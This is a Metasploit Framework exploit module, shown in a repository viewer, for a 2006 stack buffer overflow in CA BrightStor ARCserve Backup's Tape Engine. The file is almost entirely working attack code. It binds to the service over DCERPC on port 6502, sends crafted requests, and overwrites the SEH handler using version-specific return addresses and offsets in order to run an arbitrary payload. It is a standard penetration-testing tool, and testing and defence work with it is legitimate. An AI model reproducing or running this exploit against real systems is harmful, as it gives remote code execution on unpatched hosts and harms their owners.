root / modules / exploits / windows / brightstor / tape_engine.rb @ master
History | View | Annotate | Download (2.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = AverageRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::DCERPC |
| 18 |
include Msf::Exploit::Remote::Seh |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup |
| 25 |
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow |
| 26 |
the buffer and execute arbitrary code. |
| 27 |
},
|
| 28 |
'Author' => [ 'MC', 'patrick' ], |
| 29 |
'License' => MSF_LICENSE, |
| 30 |
'Version' => '$Revision$', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
[ 'CVE', '2006-6076' ], |
| 34 |
[ 'OSVDB', '30637' ], |
| 35 |
[ 'BID', '21221' ], |
| 36 |
[ 'URL', 'http://www.milw0rm.com/exploits/3086' ], |
| 37 |
[ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ], |
| 38 |
], |
| 39 |
'Privileged' => true, |
| 40 |
'DefaultOptions' =>
|
| 41 |
{
|
| 42 |
'EXITFUNC' => 'thread', |
| 43 |
}, |
| 44 |
'Payload' =>
|
| 45 |
{
|
| 46 |
'Space' => 500, |
| 47 |
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", |
| 48 |
'StackAdjustment' => -9500, |
| 49 |
}, |
| 50 |
'Platform' => 'win', |
| 51 |
'Targets' =>
|
| 52 |
[ |
| 53 |
[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004 |
| 54 |
[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/???? |
| 55 |
], |
| 56 |
'DisclosureDate' => 'Nov 21 2006', |
| 57 |
'DefaultTarget' => 1)) |
| 58 |
|
| 59 |
register_options([ Opt::RPORT(6502) ], self.class) |
| 60 |
end
|
| 61 |
|
| 62 |
def exploit |
| 63 |
connect |
| 64 |
|
| 65 |
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) |
| 66 |
print_status("Binding to #{handle} ...")
|
| 67 |
|
| 68 |
dcerpc_bind(handle) |
| 69 |
print_status("Bound to #{handle} ...")
|
| 70 |
|
| 71 |
request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
|
| 72 |
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
| 73 |
|
| 74 |
dcerpc.call(43, request)
|
| 75 |
|
| 76 |
filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset']) |
| 77 |
seh = generate_seh_payload(target.ret) |
| 78 |
sploit = filler + seh |
| 79 |
|
| 80 |
print_status("Trying target #{target.name}...")
|
| 81 |
|
| 82 |
begin
|
| 83 |
dcerpc_call(38, sploit)
|
| 84 |
rescue Rex::Proto::DCERPC::Exceptions::NoResponse |
| 85 |
end
|
| 86 |
|
| 87 |
handler |
| 88 |
disconnect |
| 89 |
end
|
| 90 |
|
| 91 |
end
|